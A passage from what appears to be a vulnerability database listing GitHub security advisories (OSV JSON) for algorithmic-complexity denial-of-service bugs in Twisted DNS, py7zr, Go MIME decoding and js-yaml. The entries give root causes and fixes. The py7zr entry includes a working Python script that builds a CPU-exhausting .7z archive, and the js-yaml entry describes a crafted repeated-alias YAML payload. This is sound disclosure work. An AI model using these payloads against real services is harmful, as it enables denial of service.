a single-threaded cooperative multitasking model, this is a common Denial of Service (DoS). The process becomes unable to handle new connections, process I/O, or respond to existing requests, effectively paralyzing the server for the duration of the decompression.\n\n---\n\n### Remediation\n\n- Update twisted.names.dns.Name.decode to add a required limit on pointer resolutions per DNS message\n- Share the \"resolved offset\" state across all records in a single message to prevent redundant processing.\n- Validate the number of questions before entering the decoding loop in Message.decode.\n\n---\n\n### Resources\n\nhttps://cwe.mitre.org/data/definitions/400.html\n\nhttps://cwe.mitre.org/data/definitions/407.html\n\nhttps://datatracker.ietf.org/doc/html/rfc9267\n\nhttps://github.com/twisted/twisted/blob/trunk/src/twisted/names/dns.py#L595\n\nhttps://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09\n\n---\n\n**Author**: Tomas Illuminati",
"id": "GHSA-grgv-6hw6-v9g4",
"modified": "2026-06-08T20:05:10Z",
"published": "2026-05-05T21:12:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/security/advisories/GHSA-grgv-6hw6-v9g4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42304"
},
{
"type": "WEB",
"url": "https://github.com/twisted/twisted/commit/e11cd82bdd79b3ebbb0e8635cbb9c76df2b5af09"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/twisted/PYSEC-2026-160.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/twisted/twisted"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Twisted has a Denial of Service (DoS) in twisted.names via Crafted DNS Compression Pointer Chains"
}
GHSA-H4GH-22QQ-72R7
Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-06-19 21:16Summary
PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.
Details
The vulnerable code is in PackInfo._read() (archiveinfo.py):
self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]
numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.
Suggested fix — replace with O(n) cumulative sum:
from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))
PoC
``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY
MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'
def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue()
def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue()
out = io.BytesIO()
out.write(MAGIC)
out.write(b'\x00\x04')
next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
start_header = (struct.pack('<Q', 0)
+ struct.pack('<Q', len(header_data))
+ struct.pack('<I', next_crc))
out.write(struct.pack('<I', binascii.crc32(start_header) &
0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue()
for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.init(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.
Results:
n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s
Impact
Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.2"
},
"package": {
"ecosystem": "PyPI",
"name": "py7zr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55206"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:16:33Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nPackInfo._read() uses an O(n^2) cumulative sum pattern where\n numstreams is read directly from the archive header. A crafted .7z\n archive with a large numstreams value causes excessive CPU consumption\n during SevenZipFile.__init__() \u2014 no extraction is needed. A 50 KB\n archive takes ~7 seconds of CPU time.\n\n### Details\n\n The vulnerable code is in PackInfo._read() (archiveinfo.py):\n\n self.packpositions = [sum(self.packsizes[:i]) for i in\n range(self.numstreams + 1)]\n\n numstreams is parsed from the archive header via read_uint64() and is\n attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the\n beginning, producing O(n^2) total work. This runs during header\n parsing in SevenZipFile.__init__(), before any extraction.\n\n Suggested fix \u2014 replace with O(n) cumulative sum:\n\n from itertools import accumulate\n self.packpositions = [0] + list(accumulate(self.packsizes))\n### PoC\n``` import struct, io, binascii, time\n import py7zr\n from py7zr.archiveinfo import write_uint64, PROPERTY\n\n MAGIC = b\u0027\\x37\\x7a\\xbc\\xaf\\x27\\x1c\u0027\n\n def encode_uint64(v):\n buf = io.BytesIO()\n write_uint64(buf, v)\n return buf.getvalue()\n\n def build_7z_with_streams(numstreams):\n header = io.BytesIO()\n header.write(PROPERTY.HEADER)\n header.write(PROPERTY.MAIN_STREAMS_INFO)\n header.write(PROPERTY.PACK_INFO)\n header.write(encode_uint64(0))\n header.write(encode_uint64(numstreams))\n header.write(PROPERTY.SIZE)\n for _ in range(numstreams):\n header.write(encode_uint64(1))\n header.write(PROPERTY.END)\n header.write(PROPERTY.END)\n header.write(PROPERTY.END)\n header_data = header.getvalue()\n\n out = io.BytesIO()\n out.write(MAGIC)\n out.write(b\u0027\\x00\\x04\u0027)\n next_crc = binascii.crc32(header_data) \u0026 0xFFFFFFFF\n start_header = (struct.pack(\u0027\u003cQ\u0027, 0)\n + struct.pack(\u0027\u003cQ\u0027, len(header_data))\n + struct.pack(\u0027\u003cI\u0027, next_crc))\n out.write(struct.pack(\u0027\u003cI\u0027, binascii.crc32(start_header) \u0026\n 0xFFFFFFFF))\n out.write(start_header)\n out.write(header_data)\n return out.getvalue()\n\n for n in [1000, 5000, 10000, 30000, 50000]:\n archive = build_7z_with_streams(n)\n start = time.time()\n try:\n with py7zr.SevenZipFile(io.BytesIO(archive), \u0027r\u0027) as z:\n pass\n except Exception:\n # The crafted archive may later raise due to being malformed,\n # but the quadratic work has already been performed during\n # header parsing in SevenZipFile.__init__().\n pass\n elapsed = time.time() - start\n print(f\"n={n:6d} size={len(archive):8d} bytes\n time={elapsed:.3f}s\")\n```\n Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.\n\n Results:\n\n n= 1000 size= 1042 bytes time=0.004s\n n= 5000 size= 5042 bytes time=0.071s\n n= 10000 size= 10042 bytes time=0.291s\n n= 30000 size= 30043 bytes time=2.609s\n n= 50000 size= 50043 bytes time=7.097s\n### Impact\n\nDenial of Service. Any application that opens .7z archives from\n untrusted sources using py7zr.SevenZipFile() can be caused to consume\n excessive CPU time with a small crafted archive. The quadratic cost\n occurs during header parsing, before any content extraction.",
"id": "GHSA-h4gh-22qq-72r7",
"modified": "2026-06-19T21:16:33Z",
"published": "2026-06-19T21:16:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-h4gh-22qq-72r7"
},
{
"type": "PACKAGE",
"url": "https://github.com/miurahr/py7zr"
},
{
"type": "WEB",
"url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()"
}
GHSA-H524-452V-82P9
Vulnerability from github – Published: 2026-06-03 00:30 – Updated: 2026-06-03 18:33Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.
{
"affected": [],
"aliases": [
"CVE-2026-42504"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-02T23:16:37Z",
"severity": "HIGH"
},
"details": "Decoding a maliciously-crafted MIME header containing many invalid encoded-words can consume excessive CPU.",
"id": "GHSA-h524-452v-82p9",
"modified": "2026-06-03T18:33:09Z",
"published": "2026-06-03T00:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42504"
},
{
"type": "WEB",
"url": "https://go.dev/cl/774481"
},
{
"type": "WEB",
"url": "https://go.dev/issue/79217"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-5038"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-H67P-54HQ-RP68
Vulnerability from github – Published: 2026-06-15 17:15 – Updated: 2026-06-29 15:05Summary
A crafted YAML document can trigger algorithmic CPU exhaustion in js-yaml merge-key processing (<<) by repeating the same alias many times in a merge sequence.
This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.
Details
The issue is in merge handling inside lib/loader.js:
storeMappingPair(...)iterates every element of a merge sequence when key tag istag:yaml.org,2002:merge.- For each element, it calls
mergeMappings(...). mergeMappings(...)computesObject.keys(source)and performs_hasOwnProperty.call(destination, key)checks for each key.
When input is of the form:
a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [a, a, a, ... repeated M times ...]} all a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...)
Root cause
File: lib/loader.js Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366
if (keyTag === 'tag:yaml.org,2002:merge') {
if (Array.isArray(valueNode)) {
for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
mergeMappings(state, _result, valueNode[index], overridableKeys);
}
} else {
mergeMappings(state, _result, valueNode, overridableKeys);
}
}
When the merge value is a sequence (YAML 1.1 <<: [ a, a, ... ]), each element is handed to mergeMappings() without deduplication. mergeMappings() then does
sourceKeys = Object.keys(source);
for (index = 0; index < sourceKeys.length; index += 1) {
key = sourceKeys[index];
if (!_hasOwnProperty.call(destination, key)) {
setProperty(destination, key, source[key]);
overridableKeys[key] = true;
}
}
Every alias reference in the sequence resolves (by design) to the SAME object via state.anchorMap. After the first merge, every subsequent merge of that same reference is a pure no-op semantically, but still performs:
- one Object.keys(source) call (O(K))
- K _hasOwnProperty.call checks on the destination
Total: M * K hasOwnProperty checks + M Object.keys allocations, while the final object and all observable side effects are identical to a single merge.
YAML semantics for <<: are idempotent and commutative over duplicate sources,
so collapsing duplicates preserves behavior exactly; this isn't a spec trade-off.
PoC
Environment: js-yaml version: 4.1.1 Node.js: v24.5.0 Platform: arm64 macOS (reproduced consistently) Reproduction script: Create many keys in one anchored map (&a). Merge that same alias repeatedly via <<: [a, a, ...]. Measure parse time and compare with control payload using single merge (<<: *a). Observed repeated runs (same machine): K=M=1000, input 9,909 bytes: ~33–36 ms K=M=2000, input 20,909 bytes: ~121–123 ms K=M=4000, input 42,909 bytes: ~524–537 ms K=M=6000, input 64,909 bytes: ~1,608–1,829 ms K=M=8000, input 86,909 bytes: ~3,395–3,565 ms Control (single merge, similar key counts): K=2000: ~1–2 ms K=4000: ~3 ms K=8000: ~5 ms Also verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.
Impact
This is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity). Any service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.
Suggested fix:
Dedupe the merge source list by reference before invoking mergeMappings. Any of the following are minimal and preserve YAML 1.1 merge semantics:
dedupe in storeMappingPair:
if (keyTag === 'tag:yaml.org,2002:merge') {
if (Array.isArray(valueNode)) {
var seen = new Set();
for (index = 0, quantity = valueNode.length; index < quantity; index += 1) {
var src = valueNode[index];
if (seen.has(src)) continue; // idempotent; skip redundant alias
seen.add(src);
mergeMappings(state, _result, src, overridableKeys);
}
} else {
mergeMappings(state, _result, valueNode, overridableKeys);
}
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "js-yaml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53550"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T17:15:07Z",
"nvd_published_at": "2026-06-22T16:16:38Z",
"severity": "MODERATE"
},
"details": "### Summary\nA crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`\u003c\u003c`) by repeating the same alias many times in a merge sequence. \nThis causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service.\n\n### Details\nThe issue is in merge handling inside `lib/loader.js`:\n\n- `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`.\n- For each element, it calls `mergeMappings(...)`.\n- `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key.\n\nWhen input is of the form:\n\na: \u0026a {k0:0, k1:0, ..., kK:0}\nb: {\u003c\u003c: [*a, *a, *a, ... repeated M times ...]}\nall *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time.\nResulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows.\nRelevant code path:\nlib/loader.js in storeMappingPair(...) merge branch (keyTag === \u0027tag:yaml.org,2002:merge\u0027)\nlib/loader.js mergeMappings(...)\n\n\n### Root cause\nFile: lib/loader.js\nFunction: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode,\n valueNode, startLine, startLineStart, startPos)\nLines: ~359-366\n\n if (keyTag === \u0027tag:yaml.org,2002:merge\u0027) {\n if (Array.isArray(valueNode)) {\n for (index = 0, quantity = valueNode.length; index \u003c quantity; index += 1) {\n mergeMappings(state, _result, valueNode[index], overridableKeys);\n }\n } else {\n mergeMappings(state, _result, valueNode, overridableKeys);\n }\n }\n\nWhen the merge value is a sequence (YAML 1.1 \u003c\u003c: [ *a, *a, ... ]), each element\nis handed to mergeMappings() without deduplication. mergeMappings() then does\n\n sourceKeys = Object.keys(source);\n for (index = 0; index \u003c sourceKeys.length; index += 1) {\n key = sourceKeys[index];\n if (!_hasOwnProperty.call(destination, key)) {\n setProperty(destination, key, source[key]);\n overridableKeys[key] = true;\n }\n }\n\nEvery alias reference in the sequence resolves (by design) to the SAME object\nvia state.anchorMap. After the first merge, every subsequent merge of that same\nreference is a pure no-op semantically, but still performs:\n\n * one Object.keys(source) call (O(K))\n * K _hasOwnProperty.call checks on the destination\n\nTotal: M * K hasOwnProperty checks + M Object.keys allocations, while the final\nobject and all observable side effects are identical to a single merge.\n\nYAML semantics for `\u003c\u003c:` are idempotent and commutative over duplicate sources,\nso collapsing duplicates preserves behavior exactly; this isn\u0027t a spec trade-off.\n\n\n### PoC\nEnvironment:\njs-yaml version: 4.1.1\nNode.js: v24.5.0\nPlatform: arm64 macOS (reproduced consistently)\nReproduction script:\nCreate many keys in one anchored map (\u0026a).\nMerge that same alias repeatedly via \u003c\u003c: [*a, *a, ...].\nMeasure parse time and compare with control payload using single merge (\u003c\u003c: *a).\nObserved repeated runs (same machine):\nK=M=1000, input 9,909 bytes: ~33\u201336 ms\nK=M=2000, input 20,909 bytes: ~121\u2013123 ms\nK=M=4000, input 42,909 bytes: ~524\u2013537 ms\nK=M=6000, input 64,909 bytes: ~1,608\u20131,829 ms\nK=M=8000, input 86,909 bytes: ~3,395\u20133,565 ms\nControl (single merge, similar key counts):\nK=2000: ~1\u20132 ms\nK=4000: ~3 ms\nK=8000: ~5 ms\nAlso verified: repeated-merge output equals single-merge output (same key count and same JSON), confirming excess time is redundant computation.\n\n\n### Impact\nThis is a denial-of-service vulnerability (CPU exhaustion / algorithmic complexity).\nAny service parsing untrusted YAML with js-yaml can be impacted, including API backends, CI tools, config processors, and automation services. An attacker can submit crafted YAML to significantly increase CPU time and reduce availability.\n\n### Suggested fix:\nDedupe the merge source list by reference before invoking mergeMappings. Any of\nthe following are minimal and preserve YAML 1.1 merge semantics:\n\ndedupe in storeMappingPair:\n\n if (keyTag === \u0027tag:yaml.org,2002:merge\u0027) {\n if (Array.isArray(valueNode)) {\n var seen = new Set();\n for (index = 0, quantity = valueNode.length; index \u003c quantity; index += 1) {\n var src = valueNode[index];\n if (seen.has(src)) continue; // idempotent; skip redundant alias\n seen.add(src);\n mergeMappings(state, _result, src, overridableKeys);\n }\n } else {\n mergeMappings(state, _result, valueNode, overridableKeys);\n }\n }",
"id": "GHSA-h67p-54hq-rp68",
"modified": "2026-06-29T15:05:57Z",
"published": "2026-06-15T17:15:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-h67p-54hq-rp68"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53550"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodeca/js-yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.